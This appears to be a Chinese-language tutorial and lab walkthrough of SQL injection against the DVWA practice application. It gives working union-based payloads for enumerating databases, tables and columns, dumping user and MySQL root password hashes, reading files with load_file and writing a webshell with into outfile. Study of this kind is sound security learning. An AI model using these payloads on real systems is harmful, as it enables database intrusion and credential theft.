三種注入poc
where user_id = 1 or 1=1
where user_id = '1' or '1'='1'
where user_id =" 1 "or "1"="1"
三種sql注釋符
# 單行注釋 注意與url中的#區分,常編碼為%23
--空格 單行注釋 注意為短線短線空格
/*()*/ 多行注釋 至少存在倆處的注入 /**/常用來作為空格
注入流程
是否存在注入並且判斷注入類型
判斷字段數 order by
確定回顯點 union select 1,2
查詢數據庫信息 @@version @@datadir
查詢用戶名,數據庫名 user() database()
文件讀取 union select 1,load_file('C:\\wondows\\win.ini')#
寫入 webshell select..into outfile...
補充一點,使用sql注入遇到轉義字符串的單引號或者雙引號,可使用HEX編碼繞過
sql注入
SQL Injection,即SQL注入,SQLi,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。SQL注入漏洞的危害巨大,常常會導致整個數據庫被“脫褲”,如今SQL注入仍是現在最常見的Web漏洞之一。
SQL 注入分類:
按SQLMap中的分類來看,SQL注入類型有以下5種:
UNION query SQL injection(可聯合查詢注入)
Stacked queries SQL injection(可多語句查詢注入)堆疊查詢
Boolean-based blind SQL injection(布爾型注入)
Error-based SQL injection(報錯型注入)
Time-based blind SQL injection(基於時間延遲注入)
SQL 注入常規利用思路:
1、尋找注入點,可以通過 web 掃描工具實現
2、通過注入點,嘗試獲得關於連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統信息、數據庫版本等相關信息。
3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息)
3.1 還可以獲取數據庫的root賬號 密碼—思路
4、可以通過獲得的用戶信息,尋找后台登錄。
5、利用后台或了解的進一步信息。
手工注入常規思路:
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解 SQL 查詢語句中的字段數
3.確定顯示的字段順序
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.查詢到賬戶的數據
下面對四種級別的代碼進行分析。
猜數據庫:
1' union select 1,database()#
payload利用另一種方式:
1' union select user(),database()#
Version()#
得到數據庫名:dvwa
PS:union查詢結合了兩個select查詢結果,根據上面的order by語句我們知道查詢包含兩列,為了能夠現實兩列查詢結果,我們需要用union查詢結合我們構造的另外一個select.注意在使用union查詢的時候需要和主查詢的列數相同。
猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
得到表名:guestbook,users
group_concat 分組
猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
(用編碼就不用單引號,用單引號就不用編碼)
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
猜用戶數據:
列舉出幾種payload:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
得到用戶數據:
admin 5f4dcc3b5aa765d61d8327deb882cf99
猜 root 用戶:
1' union select 1,group_concat(user,password) from mysql.user#
得到root用戶信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
